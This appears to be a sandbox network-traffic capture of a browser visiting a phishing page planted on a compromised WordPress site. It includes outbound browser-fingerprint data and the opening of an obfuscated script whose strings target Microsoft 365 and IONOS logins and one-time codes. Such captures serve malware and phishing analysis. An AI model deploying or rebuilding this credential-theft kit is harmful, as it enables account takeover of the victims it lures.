2024-11-18 23:01:21 UTC	16384	OUT	Data Raw: 69 6f 6e 2b 55 53 42 49 73 6f 63 68 72 6f 6e 6f 75 73 4f 75 74 54 72 61 6e 73 66 65 72 50 61 63 6b 65 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 55 53 42 49 73 6f 63 68 72 6f 6e 6f 75 73 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 55 53 42 49 73 6f 63 68 72 6f 6e 6f 75 73 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 55 53 42 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 55 53 42 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 Data Ascii: ion+USBIsochronousOutTransferPacket%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22USBIsochronousOutTransferResult%22%3A%22function+USBIsochronousOutTransferResult%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22USBOutTransferResult%22%3A%22function+USBOutTransferResult
2024-11-18 23:01:21 UTC	16384	OUT	Data Raw: 53 6f 75 72 63 65 4e 6f 64 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 74 72 65 61 6d 41 75 64 69 6f 44 65 73 74 69 6e 61 74 69 6f 6e 4e 6f 64 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 74 72 65 61 6d 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 6f 75 72 63 65 48 61 6e 64 6c 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 6f 75 72 63 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 52 65 63 6f 72 64 65 72 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 51 75 65 72 79 4c 69 73 74 45 76 65 6e 74 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 51 75 65 72 79 4c 69 73 74 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 4c 69 73 74 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 45 72 72 6f 72 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 45 6e 63 72 79 70 74 65 64 45 76 65 6e 74 25 Data Ascii: SourceNode%22%2C%22MediaStreamAudioDestinationNode%22%2C%22MediaStream%22%2C%22MediaSourceHandle%22%2C%22MediaSource%22%2C%22MediaRecorder%22%2C%22MediaQueryListEvent%22%2C%22MediaQueryList%22%2C%22MediaList%22%2C%22MediaError%22%2C%22MediaEncryptedEvent%
2024-11-18 23:01:21 UTC	16384	OUT	Data Raw: 6f 6e 63 6f 6e 74 65 6e 74 76 69 73 69 62 69 6c 69 74 79 61 75 74 6f 73 74 61 74 65 63 68 61 6e 67 65 25 32 32 25 32 43 25 32 32 6f 6e 73 63 72 6f 6c 6c 65 6e 64 25 32 32 25 32 43 25 32 32 41 6e 69 6d 61 74 69 6f 6e 50 6c 61 79 62 61 63 6b 45 76 65 6e 74 25 32 32 25 32 43 25 32 32 41 6e 69 6d 61 74 69 6f 6e 54 69 6d 65 6c 69 6e 65 25 32 32 25 32 43 25 32 32 43 53 53 41 6e 69 6d 61 74 69 6f 6e 25 32 32 25 32 43 25 32 32 43 53 53 54 72 61 6e 73 69 74 69 6f 6e 25 32 32 25 32 43 25 32 32 44 6f 63 75 6d 65 6e 74 54 69 6d 65 6c 69 6e 65 25 32 32 25 32 43 25 32 32 42 61 63 6b 67 72 6f 75 6e 64 46 65 74 63 68 4d 61 6e 61 67 65 72 25 32 32 25 32 43 25 32 32 42 61 63 6b 67 72 6f 75 6e 64 46 65 74 63 68 52 65 63 6f 72 64 25 32 32 25 32 43 25 32 32 42 61 63 6b 67 72 Data Ascii: oncontentvisibilityautostatechange%22%2C%22onscrollend%22%2C%22AnimationPlaybackEvent%22%2C%22AnimationTimeline%22%2C%22CSSAnimation%22%2C%22CSSTransition%22%2C%22DocumentTimeline%22%2C%22BackgroundFetchManager%22%2C%22BackgroundFetchRecord%22%2C%22Backgr
2024-11-18 23:01:21 UTC	8083	OUT	Data Raw: 25 32 32 25 32 43 25 32 32 63 72 65 61 74 65 43 44 41 54 41 53 65 63 74 69 6f 6e 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 63 72 65 61 74 65 43 44 41 54 41 53 65 63 74 69 6f 6e 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 25 32 38 25 Data Ascii: %22%2C%22createCDATASection%22%3A%22function+createCDATASection%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22createComment%22%3A%22function+createComment%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22createDocumentFragment%22%3A%22function+createDocumentFragment%28%
2024-11-18 23:01:22 UTC	524	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:21 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== Content-Length: 301 Content-Type: text/html; charset=UTF-8 UR0<E\eHCu3R-28.RCR^8z7;{9}1JUQ$PR#:G7zCp )w<{&0g1y9h ;Hw3%O?see6+0CY&A'n>E[Ycp>^_t'NV \J.HA^BFgm)lyI(\|J4ik++JPs
2024-11-18 23:01:22 UTC	619	OUT	GET /m/jsv.js HTTP/1.1 Host: veselectrical.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:22 UTC	8192	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:22 GMT Server: Apache Last-Modified: Fri, 15 Nov 2024 15:05:54 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== Transfer-Encoding: chunked Content-Type: application/javascript 1faa 7-4o9-b#njNQVO/V<"Dhue6IeZ(dT"389E;Oyo<:ztXpm\td2__)(~cY0.-/tuhtA@xen[+c>I&<5jLs0dqpiDNzYF&1)Gz$Mb=+]G~lEk?YQxj,htBFMP9k/D"n_}ao{G\[?%KjjZr.Eq2[YTlo] zc$ p;uX- snh@IGz8exD~f)sVSX6m"}rgnt<X/rP:}W<y[m^/?:<GF[1.ZQG;:^,EA@Tpzf"i=VJ-ykH9)<mH3~u&(g#tV,/gN]%p %[sw&ts"-%.QD4v&0D4a$Fx)9g;-9Muo u)><nCo8+(j]fb8e c0B[%p{[99R$],8o%7e!6AES&2_w^Prb]N( GFm/(emO^AM:jd{]5N&UUH@u:x=[u2}V_]OHC?7B+ZVA>u}Y2`Be_{nSn"M?SP\|ZdT.J"_EX5fL-!T0R&>~8"oGJGRR>?iZ6s8ROR+^q}guhEvAHUALnxm!Z:S9M)uQCU AmuWY5TT\Euy?Q,QnM!fI%AaNx:z1tz3E9nh4&Bxg&Up9RWe n${xwV;+mgv:G5b{g~n&Qs(QvOnPch>vWnA"%a \|FEkj[Z",MO4uY~&(s4'iB0Uz]y72RL8AaB:6]h8!-(rDy7W\Wx7s5l]iEs\v;f<qQ.8<n/n xe'IEaHu?F5$8,DAlIfQ(/uq"+)G,PJRPnXr1ja #,Lp+Es-J8&6cW]L&L 9[\|?m?k?~\a50(JzKpO~>t5x~8Aq;ouu;B01rq Lb}O!kSLIi7MbG/A'5JhQs8$d}4.P7QG$g9/V4-}[wIiRZ)\|ro0["@;c&N)E nK'gO;&DO^VAg#0]wKlwdC%_v/vYsR}"R}m-C<XBg2{#UvfZ`B4~FUX R2@wvIb9jkZ0Xx&p+P]Z>th-tr0zVwLTz}:o(4pFr#E!TRxtx^I\F{+ h9_En}}(Bdh"/~8HjRQh}2F$A`ZT1 ) I7VNj0V<$d}4.P7QG$g9/V}i?bRbG @[/%//l<hZ3L1N'#FHqV`8./`;q>l\t##(Qw>av5\|t4A&e^ix??{mTr.ghd{`:qRVHOOi<RP?(^F^.cc\|:BP7) n5}gh\]LnYK+X2@Fy<Dqw\vF(,%d/8?T'Hm7TfN6N\,9%2+\,e[=\|W1)(7\|F<2B0}H{QFL.Xc3>vVhI+M'hy' VmmF3}%T)%n!3o\|8yo=B3KgmxG`(o{s?\|t~=yrUpI<u~8o]}Jjgk Za$I"iLs0dq`ku&JIMZJ1q6,"r1jqr]0X<\J/!3-}c,k%noJ3nn\|3iw6\|:pmc(h5b[Kd4=YR/2F$A`c;DcIt$S%I:OA@by^<RPWdH1)HgG&=#I>{'rm4!)L;q-6+1uK_i"omCML(Ywxi;\|4A\|\u,A$"2RSGxX0\|Aqm^BO=9m>i5EZhw%o?x( rBdhGoxFRmFZz;[nBLbA+1R$B[<b&R@,Nln+Eax>H>h\AogHr(b=+m3_',BB(;C90,7u\z;\|K<S6V 6%I ZEu"0k)2T-(dK$I"`]!$4TmRN$SP3PXw.##pr<C#RL +Y>IEgHI.E\|gH'-S-\|>soJ})#v&>XxC_u/>&[>Fl[IokYD+2YjnJm<ojEgI"B(/#E~c&hO&>H8?nP-79F{>o,PXk&o\VF:~~QqSYbHk{Xxy?BZ Z.w9D)0>^#I D0`]!$4Mbb%(9'Yb4{lIYEg-bde`xO#<}QbB"e-a\s1dDQ8 3\|E{a6GxRAn=?7<Fo_cQ&SYK4-g- dzXp]dRl:/meFB2TimVIgh<wlbp6+(P6D5-o[RJpDh_+%T\|:\)E{k%C(`Mi)[8A6YSwY\|H8'.Z0X<=n'-+oGxX0\|Aqm^jA{Bxgo ~n<r[)]ukOh<MA'x}?wv( Y?qee/S#Zgt6R!h}2F$A`ZT1 ) In+Eax>H>h\AogHr(b=+m3_',s\|=+R5An+yyfKD#ezq:4BGr/Fl8mvp}qoEd(dqoAE9bM('eg([X4!t->MKkKYn+/[GnCDck/) &!Dm&):\<c2h<z0>a<@wtmrYhyc@n)/_hVJ(7v.sUk-PF@;I=n5;LyjcyvH2Xvia}i\|4' jhFUX [(/w=W8/9&W@bym~W6<d=xy?BZE}i]^eLbV+c>I&<5jLs0dq`;&JIMZJ1q6,"r1eslHzQ-GW4A6KP-Zh(yw3&]kekX0\|A)1SU!<$rc``.NBgG[=,s( kdjoe<,^0my?B@hYI'&h]6+D) xe'IFb&R@,N,n+Eax>H>h\AogHr(b=+m3KooQ-GiWnT%P-Zh(yu3&]uI+%uOs I;['S.~%m8_)r`nWu5<z)1Neeg/}/wDrV;eO^fO<-6nz2ln}?_oExNgI%A M0?=n=XIAj&SIK3[)PQ"~{}-Y608G_)#ippx'f)\|Q^\sWJ.s)1Sx[++c>I\| CqE\MRc6\|!4~4>VP)x_??:]z\|U;M:UEf_\\.'OF.ct4}tc}n_mLEyK19Ly{=(m.Z2sOeHkdZ`O!Nkd R'E.w{BgkZa$I"1U$B Hi7Mbb%(9'Yb4{lIYEg-bf5z)bLj>E<iZ7#LrP2TciuTZZ HAss+KPW-FEqghdq%C-%OB &{ns<x-X>ct4}tN\|tjl&T{nD;~\&V/^"x_?v/Z?zsA(O!,Czwxn}hXZ2skL#3f=n/ m4z&WtbJAQ%^o({?wrGiGEC<m6{wVy'\h<{?\|%j<L2_p}g"n]_J%5,v<u\\|oF/z_L%TgT0`^AJ53m5wmS5G$~ygFE9msK\Iq_E7"2FF\|?>^Z"Cs7RO10B)1fCOE#_dqzs;Cg;d&m+T+18I`cm]&"8M.qMy^@f+ OOwy9Q\|>`}GM2_.RBk/h\|gI;1n.;sx:}fm&R0CEhz#Bsdgq8(1/6?F#mH0waw^rVk/Tn5Fr.ZITKrOaMH0[<4YQ]S1Z`c.`L\|rSV?\wy#<-CN<XiH*/v5<v_?<NB g]'~P[Z e7AK(5&9#OJ^)1 hY
2024-11-18 23:01:24 UTC	682	OUT	GET /favicon.ico HTTP/1.1 Host: veselectrical.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:24 UTC	640	IN	HTTP/1.1 302 Found Date: Mon, 18 Nov 2024 23:01:24 GMT Server: nginx/1.25.5 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Cache-Control: no-cache X-Nitro-Cache: MISS X-Nitro-Disabled-Reason: page type not allowed (post) X-Nitro-Disabled: 1 Link: <https://veselectrical.com/wp-json/>; rel="https://api.w.org/" X-Redirect-By: WordPress Location: https://veselectrical.com/wp-content/uploads/2023/02/cropped-381910826007-32x32.jpg host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Server-Cache: true X-Proxy-Cache: MISS Set-Cookie: aXBwXzE1NS45NC4yNDEuMTg3=none; expires=Mon, 13 Oct 2031 23:01:24 GMT; Max-Age=217728000
2024-11-18 23:01:24 UTC	767	OUT	GET /wp-content/uploads/2023/02/cropped-381910826007-32x32.jpg HTTP/1.1 Host: veselectrical.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: aXBwXzE1NS45NC4yNDEuMTg3=none
2024-11-18 23:01:24 UTC	858	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:24 GMT Server: Apache Last-Modified: Tue, 28 Feb 2023 23:08:11 GMT Accept-Ranges: bytes Content-Length: 628 host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== Content-Type: image/jpeg JFIFHHLExifMM*iXC !'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ "(!1A"Qa?z}j`f8raSFe6TAi?){$8eo[ zV]2Q%%Mz+_JNS/A9dS2{ cV7Y;kCXq[QJG$~!3]GsCIqIAeEGhBEnv\|I$9"\u)D$JK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:22 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 23:01:22 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=150242 Date: Mon, 18 Nov 2024 23:01:22 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	13.35.58.12	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:23 UTC	568	OUT	GET /4.7.5/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://veselectrical.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://veselectrical.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:23 UTC	703	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 49993 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Thu, 05 Sep 2024 12:10:03 GMT ETag: "777eb8fd4f8320b6e5cc9a7159bdec6a" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: fra1::qxsjc-1725538203767-a565e46decc2 X-Cache: Hit from cloudfront Via: 1.1 3de687dde9ccf524586562826ee53358.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P10 X-Amz-Cf-Id: LePzDZQrRZDthbckdtnhX_nOqm_828Xn6HnKyU_W0f6JhJJSrNpY-Q== Age: 7244935
2024-11-18 23:01:23 UTC	15681	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 37 2e 35 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 34 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.7.5 * (c) 2014-2024 Guillermo Rauch * Released under the MIT License. */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof g
2024-11-18 23:01:23 UTC	16384	IN	Data Raw: 69 64 20 74 68 69 73 2e 73 65 74 54 69 6d 65 6f 75 74 46 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 6f 6e 45 72 72 6f 72 28 65 29 7d 29 2c 30 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 26 26 28 74 68 69 73 2e 69 6e 64 65 78 3d 69 2e 72 65 71 75 65 73 74 73 43 6f 75 6e 74 2b 2b 2c 69 2e 72 65 71 75 65 73 74 73 5b 74 68 69 73 2e 69 6e 64 65 78 5d 3d 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 6f 6e 45 72 72 6f 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 65 72 72 6f 72 22 2c 65 2c 74 68 69 73 2e 78 68 72 29 2c 74 68 69 73 2e 63 6c 65 61 6e 75 70 28 21 30 29 7d 7d 2c 7b 6b 65 79 3a 22 63 6c 65 61 6e 75 70 22 2c 76 61 6c 75 65 3a 66 75 Data Ascii: id this.setTimeoutFn((function(){t.onError(e)}),0)}"undefined"!=typeof document&&(this.index=i.requestsCount++,i.requests[this.index]=this)}},{key:"onError",value:function(e){this.emitReserved("error",e,this.xhr),this.cleanup(!0)}},{key:"cleanup",value:fu
2024-11-18 23:01:23 UTC	16384	IN	Data Raw: 3a 65 2e 64 61 74 61 2c 69 64 3a 65 2e 69 64 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 65 6e 63 6f 64 65 41 73 53 74 72 69 6e 67 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 22 2b 65 2e 74 79 70 65 3b 72 65 74 75 72 6e 20 65 2e 74 79 70 65 21 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 45 56 45 4e 54 26 26 65 2e 74 79 70 65 21 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 41 43 4b 7c 7c 28 74 2b 3d 65 2e 61 74 74 61 63 68 6d 65 6e 74 73 2b 22 2d 22 29 2c 65 2e 6e 73 70 26 26 22 2f 22 21 3d 3d 65 2e 6e 73 70 26 26 28 74 2b 3d 65 2e 6e 73 70 2b 22 2c 22 29 2c 6e 75 6c 6c 21 3d 65 2e 69 64 26 26 28 74 2b 3d 65 2e 69 64 29 2c 6e 75 6c 6c 21 3d 65 2e 64 61 74 61 26 26 28 74 2b 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 2e 64 61 74 61 2c 74 68 Data Ascii: :e.data,id:e.id})}},{key:"encodeAsString",value:function(e){var t=""+e.type;return e.type!==Be.BINARY_EVENT&&e.type!==Be.BINARY_ACK\|\|(t+=e.attachments+"-"),e.nsp&&"/"!==e.nsp&&(t+=e.nsp+","),null!=e.id&&(t+=e.id),null!=e.data&&(t+=JSON.stringify(e.data,th
2024-11-18 23:01:23 UTC	1544	IN	Data Raw: 73 65 74 54 69 6d 65 6f 75 74 46 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 7c 7c 28 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 72 65 63 6f 6e 6e 65 63 74 5f 61 74 74 65 6d 70 74 22 2c 74 2e 62 61 63 6b 6f 66 66 2e 61 74 74 65 6d 70 74 73 29 2c 74 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 7c 7c 74 2e 6f 70 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 3f 28 74 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6e 67 3d 21 31 2c 74 2e 72 65 63 6f 6e 6e 65 63 74 28 29 2c 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 72 65 63 6f 6e 6e 65 63 74 5f 65 72 72 6f 72 22 2c 6e 29 29 3a 74 2e 6f 6e 72 65 63 6f 6e 6e 65 63 74 28 29 7d 29 29 29 7d 29 2c 6e 29 3b 74 68 69 73 2e 6f 70 74 73 2e 61 75 74 6f 55 6e 72 65 66 26 26 72 Data Ascii: setTimeoutFn((function(){t.skipReconnect\|\|(e.emitReserved("reconnect_attempt",t.backoff.attempts),t.skipReconnect\|\|t.open((function(n){n?(t._reconnecting=!1,t.reconnect(),e.emitReserved("reconnect_error",n)):t.onreconnect()})))}),n);this.opts.autoUnref&&r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:23 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 23:01:24 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=150202 Date: Mon, 18 Nov 2024 23:01:23 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-18 23:01:24 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	50.87.233.27	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:23 UTC	349	OUT	GET /m/jsv.js HTTP/1.1 Host: veselectrical.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:24 UTC	306	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:24 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Last-Modified: Fri, 15 Nov 2024 15:05:54 GMT Accept-Ranges: bytes Content-Length: 121471 Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== Content-Type: application/javascript
2024-11-18 23:01:24 UTC	7886	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 62 32 37 36 28 29 20 7b 0a 20 20 20 20 63 6f 6e 73 74 20 5f 30 78 35 65 64 39 34 34 20 3d 20 5b 27 68 72 65 66 27 2c 20 27 2e 70 68 6f 6e 65 6f 74 70 54 65 78 74 27 2c 20 27 72 65 61 64 79 53 74 61 74 65 27 2c 20 27 23 70 6c 61 79 6d 65 5f 62 69 67 27 2c 20 27 40 69 6f 6e 6f 73 2e 27 2c 20 27 23 70 6c 61 79 6d 65 27 2c 20 27 72 65 73 69 7a 65 27 2c 20 27 73 32 63 5f 72 65 73 74 61 72 74 27 2c 20 27 2e 6c 6f 61 64 65 72 78 42 6c 6f 63 6b 31 31 27 2c 20 27 73 32 63 27 2c 20 27 63 6f 6d 70 6c 65 74 65 27 2c 20 27 4f 33 36 35 27 2c 20 27 75 72 6c 28 5c 78 32 37 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 62 61 63 Data Ascii: function _0xb276() { const _0x5ed944 = ['href', '.phoneotpText', 'readyState', '#playme_big', '@ionos.', '#playme', 'resize', 's2c_restart', '.loaderxBlock11', 's2c', 'complete', 'O365', 'url(\x27https://aadcdn.msauth.net/shared/1.0/content/images/bac
